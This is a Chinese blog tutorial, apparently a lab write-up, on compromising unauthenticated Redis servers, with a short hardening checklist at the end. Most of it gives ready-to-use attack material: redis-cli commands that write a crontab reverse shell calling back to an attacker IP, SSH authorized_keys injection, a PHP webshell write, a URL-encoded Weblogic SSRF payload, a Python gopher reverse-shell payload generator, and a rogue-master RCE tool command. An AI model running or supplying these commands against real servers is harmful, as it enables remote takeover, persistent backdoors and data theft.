和redis_Redis攻防

 简单来说 redis 就是一个数据库,不过与传统数据库不同的是 redis 的数据是存在内存中的,所以读写速度非常快,因此 redis 被广泛应用于缓存方向, redis默认端口是6379,由于redis被广泛使用,自然而然安全区域也备受挑战。
  • 计划任务反弹shell

  • redis写入公钥利用私钥登录ssh

  • redis往web物理路径写webshell

  • ssrf通内网redis反弹shell

  • 利用Redis主从复制REC

  • Redis安全配置

计划任务反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell。

利用条件:

  1. 允许异地登录

  2. redis存在未授权访问/弱口令

  3. 安全模式protected-mode处于关闭状态

利用方法:

通过未授权访问连接redis

127c0df1d79a3a5f00098b2c9c4c50a6.png

创建一个key xx,值为反弹shell语句,直接往当前用户的crontab里写入反弹shell,换行是必不可少的。set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.17.141/7777 0>&1\n"

52e8df0595415808e44e04d530beda6a.png

修改备份目录为linux计划任务目录config set dir /var/spool/cron/修改备份文件名为 rootconfig set dbfilename root以root身体执行计划任务save

efcbfc928e9a96e355ff7e31feb72246.png

结果:succeed!

b3eab97d6e7ff8a2b8dd92a44470b195.png

redis写入公钥利用私钥登录ssh

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

利用条件:

  1. 允许异地登录

  2. Redis服务使用ROOT账号启动

  3. Redis存在未授权访问/弱口令

  4. 安全模式protected-mode处于关闭状态

  5. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

利用方法:

本机生成密钥公钥

ssh-keygen -t rsa

fcd9d9292d77aa22a600d39771d18b72.png

进入ssh路径,防止乱码导出我们的key

(echo -e "\n\n"; cat id_rsa.pub;echo -e "\n\n") > key.txt

07ffbc1ab3e477b6c68fb34675149619.png

利用Redis导入公钥到key xx

--pass是登录密码无密码可不填cat key.txt | redis-cli -h 192.168.0.108 --pass pass123 -x set xx

到Redis查看key xx的值是否为我们导入的私钥

07803ed61348e5ce23907a440c56d3a6.png

后面同上

利用gopher协议反弹shellconfig set dir /root/.ssh设置文件名config set dbfilename authorized_keys保存Save

最后直接利用我们的ssh公钥连接服务器

819e099f13789ba80b13756b581f5967.png

实验结果:succeed!

Redis往web物理路径写入webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell
同样设置备份目录位置> config set dir /var/www/html/设置备份文件名> config set dbfilename shell.php设置key x值> set x "<?php phpinfo();?>"保存> save

ssrf通内网redis反弹shell

利用ssrf漏洞探测内网服务器的端口开放情况

探测本地的7001端口开放状态(当前开放状态)

d129c5517e56eb835804b087eeb011ce.png

本地的7001端口关闭状态

71f1b1dd782b17f9ee147c146ba4e01d.png

发现内网redis服务

2dc878e725782854bdb682e7d8b7dd33.png

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

Payload:http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.17.141%2F7777%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

931c10ea3701fb28d6a3e9f63b8c29a6.png

实验结果:succeed!

8bb9d666ab089c58e423cebe74559ed2.png

利用gopher协议反弹shell

/*gopher协议反弹shell利用脚本*/import urllibprotocol="gopher://"ip="172.18.0.2"port="6379"reverse_ip="192.168.17.141"reverse_port="7777"cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall",   "set 1 {}".format(cron.replace(" ","${IFS}")),   "config set dir {}".format(path),   "config set dbfilename {}".format(filename),   "save"   ]if passwd:  cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):  CRLF="\r\n"  redis_arr = arr.split(" ")  cmd=""  cmd+="*"+str(len(redis_arr))  for x in redis_arr:    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")  cmd+=CRLF  return cmdif __name__=="__main__":  for x in cmd:    payload += urllib.quote(redis_format(x))  print payload

c1e0cb033fbafb0018334edb85233c2b.png

利用Redis主从复制REC

在Reids4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。新增模块(主从模式),主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。

利用条件:

  1. Redis存在未授权访问/弱口令

  2. 安全模式protected-mode处于关闭状态

  3. 允许异地登录

利用方法:

目标redis ip(从机):192.168.17.138

攻击机(主机):192.168.17.130

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

python3 redis-rogue-server.py --rhost 192.168.17.138 --lhost 192.168.17.130

81aac264c9a1589ad12f6be5de761e8e.png

实验结果:succeed!

edf6e00e2c387d518d109bdd72571911.png

Redis安全配置

  1. 使用普通账号启动Redis

  2. 在Redis配置文件设置只允许本地访问

  3. 在Redis配置文件开启保护模式protected-mode 开启 (默认开启)

  4. 在Redis配置文件设置redis密码requirepass

  5. 在Redis配置文件更改Redis默认端口

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值